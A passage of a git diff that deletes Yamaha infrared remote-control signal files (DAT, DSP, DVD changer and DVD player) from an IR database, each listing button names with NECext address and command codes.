8 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir deleted file mode 100644 index 412f10dd5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 20 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 25 00 00 00 -# -name: BROADCAST -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 31 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 32 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 33 00 00 00 -# -name: ARTISTS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 40 00 00 00 -# -name: ALBUMS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 41 00 00 00 -# -name: GENRES -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 42 00 00 00 -# -name: ALL_SONGS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 43 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 44 00 00 00 -# -name: SONG_STATISTICS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 45 00 00 00 -# -name: BOOKMARKS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 46 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 47 00 00 00 -# -name: RECORDING -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 48 00 00 00 -# -name: CLIENT_PLAYBACK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 49 00 00 00 -# -name: EXT_INPUTS -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4B 00 00 00 -# -name: PLAY_INFO -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 4E 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 50 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 52 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 53 00 00 00 -# -name: CURSOE_LEFT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 54 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 55 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 56 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 57 00 00 00 -# -name: SUB_MENU -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 58 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 59 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 5A 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 5F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 80 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 83 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 85 00 00 00 -# -name: GROUP_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8A 00 00 00 -# -name: GROUP_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8B 00 00 00 -# -name: FAVORITES_1 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8C 00 00 00 -# -name: FAVORITES_2 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8D 00 00 00 -# -name: FAVORITES_3 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8E 00 00 00 -# -name: FAVORITES_4 -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 8F 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 91 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 92 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 93 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 98 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9D 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9E 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 80 37 00 00 -command: 9F 00 00 00 -# -name: PLAY_INFO -type: parsed -protocol: NECext -address: 80 37 00 00 -command: AE 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B2 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B3 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B4 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B5 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: B6 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BD 00 00 00 -# -name: OFF_TIMER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BE 00 00 00 -# -name: ON_TIMER -type: parsed -protocol: NECext -address: 80 37 00 00 -command: BF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir deleted file mode 100644 index b11f1d33c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: CH_LEVEL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C0 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: 5_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: ST+3_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: 3_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: CODE_SET -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir deleted file mode 100644 index 1166dda2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: VCR_2/DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTE_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: EFFECT_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: 6_CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: JAZZ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: ENTERTAIMENT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: TV_SPORTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 -# -name: 1-MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8E 00 00 00 -# -name: THTR-2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8F 00 00 00 -# -name: DOLBY/DTS_SUR. -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C2 00 00 00 -# -name: MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir deleted file mode 100644 index ce32950c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >>_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: <<_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: +10_DVD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir deleted file mode 100644 index 724f0221f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir deleted file mode 100644 index ae2583db9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 09 00 00 00 -# -name: TV_MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: TV_VOL_+ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: TV_VOL_- -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir deleted file mode 100644 index 6f564a222..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 0A 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 20 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 28 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 2C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 30 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir deleted file mode 100644 index eb56899ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir +++ /dev/null @@ -1,470 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 0B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 1B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 2B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 3B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 4B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 5B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 6B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 7B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 8B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: 9B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: ON_SCREEN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: DIMMER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>>_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: CHAPTER_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<<_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: CHAPTER_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PLAY_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: STOP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SIDE_A/B_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: SUBTITLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: SOUND_MODE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_UP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_DOWN_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_LEFT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_RIGHT_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: DISK_SKIP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: SETUP_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: TOP_MENU/RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: ANGLE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: PAGE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: PAGE_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: CF 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D5 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 -# -name: ZOOM_B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir deleted file mode 100644 index 4ac9b7c53..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir +++ /dev/null @@ -1,1634 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER:_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: POWER_(TOGGLE) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 80 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: FUNCTN:_OPEN/CLOSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 81 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: FUNCTN:_PLAY -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 82 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: FUNCTN:_PAUSE -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: PAUSE_(STEP_+) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 83 00 00 00 -# -name: PAUSE/STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 84 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: FUNCTN:_STOP -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 85 00 00 00 -# -name: SEARCH/SLOW_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_REV -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: FUNCTN:_SEARCH- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_-_(<<) -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH_- -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SCAN_DOWN -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 86 00 00 00 -# -name: SEARCH/SLOW_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: SEARCH_FWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FFWD -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: FUNCTN:_SEARCH+ -type: parsed -protocol: NECext -address: 7C 00 00 00 -command: 87 00 00 00 -# -name: 